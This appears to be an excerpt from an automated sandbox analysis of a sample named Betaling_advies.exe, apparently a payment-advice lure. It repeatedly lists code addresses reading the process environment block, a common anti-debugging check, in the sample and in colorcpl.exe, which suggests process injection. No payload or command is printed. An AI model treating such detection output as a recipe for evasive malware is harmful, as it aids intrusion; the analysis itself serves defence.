Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A603E2 mov eax, dword ptr fs:[00000030h] 1_2_00A603E2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A603E2 mov eax, dword ptr fs:[00000030h] 1_2_00A603E2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A603E2 mov eax, dword ptr fs:[00000030h] 1_2_00A603E2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A603E2 mov eax, dword ptr fs:[00000030h] 1_2_00A603E2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A603E2 mov eax, dword ptr fs:[00000030h] 1_2_00A603E2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A603E2 mov eax, dword ptr fs:[00000030h] 1_2_00A603E2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5DBE9 mov eax, dword ptr fs:[00000030h] 1_2_00A5DBE9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB53CA mov eax, dword ptr fs:[00000030h] 1_2_00AB53CA
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB53CA mov eax, dword ptr fs:[00000030h] 1_2_00AB53CA
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF131B mov eax, dword ptr fs:[00000030h] 1_2_00AF131B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3DB60 mov ecx, dword ptr fs:[00000030h] 1_2_00A3DB60
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A63B7A mov eax, dword ptr fs:[00000030h] 1_2_00A63B7A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A63B7A mov eax, dword ptr fs:[00000030h] 1_2_00A63B7A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3DB40 mov eax, dword ptr fs:[00000030h] 1_2_00A3DB40
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B08B58 mov eax, dword ptr fs:[00000030h] 1_2_00B08B58
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3F358 mov eax, dword ptr fs:[00000030h] 1_2_00A3F358
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4849B mov eax, dword ptr fs:[00000030h] 1_2_00A4849B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF14FB mov eax, dword ptr fs:[00000030h] 1_2_00AF14FB
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6CF0 mov eax, dword ptr fs:[00000030h] 1_2_00AB6CF0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6CF0 mov eax, dword ptr fs:[00000030h] 1_2_00AB6CF0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6CF0 mov eax, dword ptr fs:[00000030h] 1_2_00AB6CF0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B08CD6 mov eax, dword ptr fs:[00000030h] 1_2_00B08CD6
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6BC2C mov eax, dword ptr fs:[00000030h] 1_2_00A6BC2C
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00AB6C0A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00AB6C0A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00AB6C0A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6C0A mov eax, dword ptr fs:[00000030h] 1_2_00AB6C0A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1C06 mov eax, dword ptr fs:[00000030h] 1_2_00AF1C06
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B0740D mov eax, dword ptr fs:[00000030h] 1_2_00B0740D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B0740D mov eax, dword ptr fs:[00000030h] 1_2_00B0740D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B0740D mov eax, dword ptr fs:[00000030h] 1_2_00B0740D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5746D mov eax, dword ptr fs:[00000030h] 1_2_00A5746D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6A44B mov eax, dword ptr fs:[00000030h] 1_2_00A6A44B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACC450 mov eax, dword ptr fs:[00000030h] 1_2_00ACC450
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACC450 mov eax, dword ptr fs:[00000030h] 1_2_00ACC450
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A635A1 mov eax, dword ptr fs:[00000030h] 1_2_00A635A1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A61DB5 mov eax, dword ptr fs:[00000030h] 1_2_00A61DB5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A61DB5 mov eax, dword ptr fs:[00000030h] 1_2_00A61DB5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A61DB5 mov eax, dword ptr fs:[00000030h] 1_2_00A61DB5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B005AC mov eax, dword ptr fs:[00000030h] 1_2_00B005AC
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B005AC mov eax, dword ptr fs:[00000030h] 1_2_00B005AC
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62581 mov eax, dword ptr fs:[00000030h] 1_2_00A62581
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62581 mov eax, dword ptr fs:[00000030h] 1_2_00A62581
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62581 mov eax, dword ptr fs:[00000030h] 1_2_00A62581
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A62581 mov eax, dword ptr fs:[00000030h] 1_2_00A62581
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A32D8A mov eax, dword ptr fs:[00000030h] 1_2_00A32D8A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A32D8A mov eax, dword ptr fs:[00000030h] 1_2_00A32D8A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A32D8A mov eax, dword ptr fs:[00000030h] 1_2_00A32D8A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A32D8A mov eax, dword ptr fs:[00000030h] 1_2_00A32D8A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A32D8A mov eax, dword ptr fs:[00000030h] 1_2_00A32D8A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6FD9B mov eax, dword ptr fs:[00000030h] 1_2_00A6FD9B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6FD9B mov eax, dword ptr fs:[00000030h] 1_2_00A6FD9B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4D5E0 mov eax, dword ptr fs:[00000030h] 1_2_00A4D5E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4D5E0 mov eax, dword ptr fs:[00000030h] 1_2_00A4D5E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00AFFDE2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00AFFDE2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00AFFDE2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFFDE2 mov eax, dword ptr fs:[00000030h] 1_2_00AFFDE2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AE8DF1 mov eax, dword ptr fs:[00000030h] 1_2_00AE8DF1
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00AB6DC9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00AB6DC9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00AB6DC9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6DC9 mov ecx, dword ptr fs:[00000030h] 1_2_00AB6DC9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00AB6DC9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB6DC9 mov eax, dword ptr fs:[00000030h] 1_2_00AB6DC9
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B08D34 mov eax, dword ptr fs:[00000030h] 1_2_00B08D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A43D34 mov eax, dword ptr fs:[00000030h] 1_2_00A43D34
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3AD30 mov eax, dword ptr fs:[00000030h] 1_2_00A3AD30
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFE539 mov eax, dword ptr fs:[00000030h] 1_2_00AFE539
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ABA537 mov eax, dword ptr fs:[00000030h] 1_2_00ABA537
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A64D3B mov eax, dword ptr fs:[00000030h] 1_2_00A64D3B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A64D3B mov eax, dword ptr fs:[00000030h] 1_2_00A64D3B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A64D3B mov eax, dword ptr fs:[00000030h] 1_2_00A64D3B
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5C577 mov eax, dword ptr fs:[00000030h] 1_2_00A5C577
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5C577 mov eax, dword ptr fs:[00000030h] 1_2_00A5C577
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A73D43 mov eax, dword ptr fs:[00000030h] 1_2_00A73D43
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB3540 mov eax, dword ptr fs:[00000030h] 1_2_00AB3540
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AE3D40 mov eax, dword ptr fs:[00000030h] 1_2_00AE3D40
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A57D50 mov eax, dword ptr fs:[00000030h] 1_2_00A57D50
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB46A7 mov eax, dword ptr fs:[00000030h] 1_2_00AB46A7
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B00EA5 mov eax, dword ptr fs:[00000030h] 1_2_00B00EA5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B00EA5 mov eax, dword ptr fs:[00000030h] 1_2_00B00EA5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B00EA5 mov eax, dword ptr fs:[00000030h] 1_2_00B00EA5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACFE87 mov eax, dword ptr fs:[00000030h] 1_2_00ACFE87
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A616E0 mov ecx, dword ptr fs:[00000030h] 1_2_00A616E0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A476E2 mov eax, dword ptr fs:[00000030h] 1_2_00A476E2
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A78EC7 mov eax, dword ptr fs:[00000030h] 1_2_00A78EC7
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B08ED6 mov eax, dword ptr fs:[00000030h] 1_2_00B08ED6
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A636CC mov eax, dword ptr fs:[00000030h] 1_2_00A636CC
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AEFEC0 mov eax, dword ptr fs:[00000030h] 1_2_00AEFEC0
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3E620 mov eax, dword ptr fs:[00000030h] 1_2_00A3E620
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AEFE3F mov eax, dword ptr fs:[00000030h] 1_2_00AEFE3F
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3C600 mov eax, dword ptr fs:[00000030h] 1_2_00A3C600
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3C600 mov eax, dword ptr fs:[00000030h] 1_2_00A3C600
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A3C600 mov eax, dword ptr fs:[00000030h] 1_2_00A3C600
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A68E00 mov eax, dword ptr fs:[00000030h] 1_2_00A68E00
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AF1608 mov eax, dword ptr fs:[00000030h] 1_2_00AF1608
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6A61C mov eax, dword ptr fs:[00000030h] 1_2_00A6A61C
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6A61C mov eax, dword ptr fs:[00000030h] 1_2_00A6A61C
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4766D mov eax, dword ptr fs:[00000030h] 1_2_00A4766D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00A5AE73
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00A5AE73
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00A5AE73
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00A5AE73
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5AE73 mov eax, dword ptr fs:[00000030h] 1_2_00A5AE73
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A47E41 mov eax, dword ptr fs:[00000030h] 1_2_00A47E41
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A47E41 mov eax, dword ptr fs:[00000030h] 1_2_00A47E41
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A47E41 mov eax, dword ptr fs:[00000030h] 1_2_00A47E41
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A47E41 mov eax, dword ptr fs:[00000030h] 1_2_00A47E41
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A47E41 mov eax, dword ptr fs:[00000030h] 1_2_00A47E41
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A47E41 mov eax, dword ptr fs:[00000030h] 1_2_00A47E41
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFAE44 mov eax, dword ptr fs:[00000030h] 1_2_00AFAE44
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AFAE44 mov eax, dword ptr fs:[00000030h] 1_2_00AFAE44
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A48794 mov eax, dword ptr fs:[00000030h] 1_2_00A48794
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB7794 mov eax, dword ptr fs:[00000030h] 1_2_00AB7794
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB7794 mov eax, dword ptr fs:[00000030h] 1_2_00AB7794
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00AB7794 mov eax, dword ptr fs:[00000030h] 1_2_00AB7794
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A737F5 mov eax, dword ptr fs:[00000030h] 1_2_00A737F5
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A34F2E mov eax, dword ptr fs:[00000030h] 1_2_00A34F2E
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A34F2E mov eax, dword ptr fs:[00000030h] 1_2_00A34F2E
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6E730 mov eax, dword ptr fs:[00000030h] 1_2_00A6E730
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6A70E mov eax, dword ptr fs:[00000030h] 1_2_00A6A70E
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A6A70E mov eax, dword ptr fs:[00000030h] 1_2_00A6A70E
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A5F716 mov eax, dword ptr fs:[00000030h] 1_2_00A5F716
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACFF10 mov eax, dword ptr fs:[00000030h] 1_2_00ACFF10
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00ACFF10 mov eax, dword ptr fs:[00000030h] 1_2_00ACFF10
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B0070D mov eax, dword ptr fs:[00000030h] 1_2_00B0070D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B0070D mov eax, dword ptr fs:[00000030h] 1_2_00B0070D
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4FF60 mov eax, dword ptr fs:[00000030h] 1_2_00A4FF60
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00B08F6A mov eax, dword ptr fs:[00000030h] 1_2_00B08F6A
Source: C:\Users\user\Desktop\Betaling_advies.exe Code function: 1_2_00A4EF40 mov eax, dword ptr fs:[00000030h] 1_2_00A4EF40
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E746D mov eax, dword ptr fs:[00000030h] 7_2_046E746D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FA44B mov eax, dword ptr fs:[00000030h] 7_2_046FA44B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475C450 mov eax, dword ptr fs:[00000030h] 7_2_0475C450
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0475C450 mov eax, dword ptr fs:[00000030h] 7_2_0475C450
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046FBC2C mov eax, dword ptr fs:[00000030h] 7_2_046FBC2C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0479740D mov eax, dword ptr fs:[00000030h] 7_2_0479740D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0479740D mov eax, dword ptr fs:[00000030h] 7_2_0479740D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0479740D mov eax, dword ptr fs:[00000030h] 7_2_0479740D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04781C06 mov eax, dword ptr fs:[00000030h] 7_2_04781C06
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746C0A mov eax, dword ptr fs:[00000030h] 7_2_04746C0A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746C0A mov eax, dword ptr fs:[00000030h] 7_2_04746C0A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746C0A mov eax, dword ptr fs:[00000030h] 7_2_04746C0A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746C0A mov eax, dword ptr fs:[00000030h] 7_2_04746C0A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_047814FB mov eax, dword ptr fs:[00000030h] 7_2_047814FB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746CF0 mov eax, dword ptr fs:[00000030h] 7_2_04746CF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746CF0 mov eax, dword ptr fs:[00000030h] 7_2_04746CF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04746CF0 mov eax, dword ptr fs:[00000030h] 7_2_04746CF0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04798CD6 mov eax, dword ptr fs:[00000030h] 7_2_04798CD6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D849B mov eax, dword ptr fs:[00000030h] 7_2_046D849B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EC577 mov eax, dword ptr fs:[00000030h] 7_2_046EC577
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046EC577 mov eax, dword ptr fs:[00000030h] 7_2_046EC577
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04703D43 mov eax, dword ptr fs:[00000030h] 7_2_04703D43
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04743540 mov eax, dword ptr fs:[00000030h] 7_2_04743540
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046E7D50 mov eax, dword ptr fs:[00000030h] 7_2_046E7D50
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0478E539 mov eax, dword ptr fs:[00000030h] 7_2_0478E539
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_0474A537 mov eax, dword ptr fs:[00000030h] 7_2_0474A537
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_04798D34 mov eax, dword ptr fs:[00000030h] 7_2_04798D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F4D3B mov eax, dword ptr fs:[00000030h] 7_2_046F4D3B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F4D3B mov eax, dword ptr fs:[00000030h] 7_2_046F4D3B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046F4D3B mov eax, dword ptr fs:[00000030h] 7_2_046F4D3B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 7_2_046D3D34 mov eax, dword ptr fs:[00000030h] 7_2_046D3D34
